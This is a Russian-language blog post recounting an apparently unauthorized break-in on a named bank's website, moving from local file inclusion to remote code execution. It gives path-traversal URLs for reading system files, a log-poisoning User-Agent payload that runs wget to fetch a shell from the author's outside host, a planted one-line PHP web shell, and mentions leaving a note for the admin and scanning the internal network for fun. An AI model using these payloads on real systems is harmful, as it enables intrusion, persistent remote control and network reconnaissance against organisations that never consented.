Ломаем сайт банка или от LFI к RCE

По просьбе друга, недавно устроившегося на работу в банк, решил проверить сайт kubunibank.ru ^[1] на наличие брешей в безопасности. В качестве инструмента для аудита выбрал Acunetix Web Scanner. Выбор обоснован тем, что данный сканнер лучше всего подходит для первоначального осмотра. Сайт достаточно не большой, так что спустя 5 минут было найдено 3 ошибки LFI (Local File Inclusion), и мне сразу захотелось получить там шелл.

Уязвимы были 3 параметра linksdop, pointermainmenu, pointer:
www.kubunibank.ru/index.php?pointermainmenu=../../../../../../../../../etc/passwd ^[2]
www.kubunibank.ru/index.php?linksdop=../../../../../../../../../etc/hosts ^[3]
www.kubunibank.ru/index.php?pointer=../../../../../../../../../etc/group ^[4]
Данная уязвимость кроется в подобном коде, который позволяет манипулировать именем подключаемого файла.
<?php
$file = $_GET['pointer'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
Самым логичным тут было бы проверить на RFI (Remote File Inclusion), то есть подставить в качестве параметра pointer URL шелла, например:
http://www.kubunibank.ru/index.php?pointer=http://0x90.ru/shell.php ^[5]
При этом весь PHP код, содержащийся в shell.php, будет выполнен. Однако, из-за
allow_url_include=0, выставленном в php.ini, использование URL в качестве параметра для include запрещено.

Таким образом сразу перейти к выполнению кода не получится.
Остается продолжить игры с локальными файлами. Можно посмотреть пользователей в /etc/passwd, а можно попробовать угадать версию Linux на сервере. Подставляем /../../../../../../../../../etc/gentoo-release и угадываем, что сервер работает под управлением Gentoo Linux. Однако просмотр файлов не дает возможности выполнения кода. Пора двигаться в этом направлении. Для этого попробуем просмотреть на /proc/self/environ.
www.kubunibank.ru/index.php?pointer=../../../../../../../../../../proc/self/environ ^[6]

К сожалению, мы никак не можем повлиять на переменные окружения, так как используется lighttpd вместо apache. Далее имеет смысл посмотреть конфигурационный файл веб-сервера lighttpd. Для этого подставляем
www.kubunibank.ru/index.php?pointer=../../../../../../../../../etc/lighttpd/lighttpd.conf ^[7]
Основной целью просмотра конфигурационного файла является определение пути логов веб-сервера. Как мы видим, лог расположен в /var/log/lighttpd/access_kubunibank.log.

А вот тут уже становится интереснее, ибо на содержимое лог файла мы можем влиять. Чтобы перейти к выполнению PHP кода нам достаточно воспользоваться плагином для FireFox и выставить себе в любом запросе к сайту User-Agent в следующее значение
<?php system(`wget 0x90.ru/shell.txt [8] -O shell.php`)?>

Хочу обратить внимание на использование ` кавычек, это нужно так как « и ' сервер экранирует. Веб-сервер запишет наш запрос в лог файл, а тут уже до выполнения кода рукой подать. Для того, чтобы код был выполнен, нужно перейти по следующему адресу.
www.kubunibank.ru/index.php?pointer=../../../../../../../../../../var/log/lighttpd/access_kubunibank.log ^[9]

При этом весь PHP код содержащийся в лог файле будет выполнен, и у нас появится шелл по адресу www.kubunibank.ru/shell.php ^[10]
Так как никакого злого умысла не подразумевалось, то был залит самый простой шелл
<?php system($_GET['cmd']); ?>
Шелл залит, так что можно оставить и заметочку администратору на память.

Выяснилось, что стоит nmap, так что просканировал ещё и локальную сеть для забавы.

Хочу заметить, что от услуг аудита банк отказался, а уязвимость была закрыта до публикации статьи.
Данный пример интересен лишь тем, что логи тоже могут быть выполняемыми.

Автор: 090h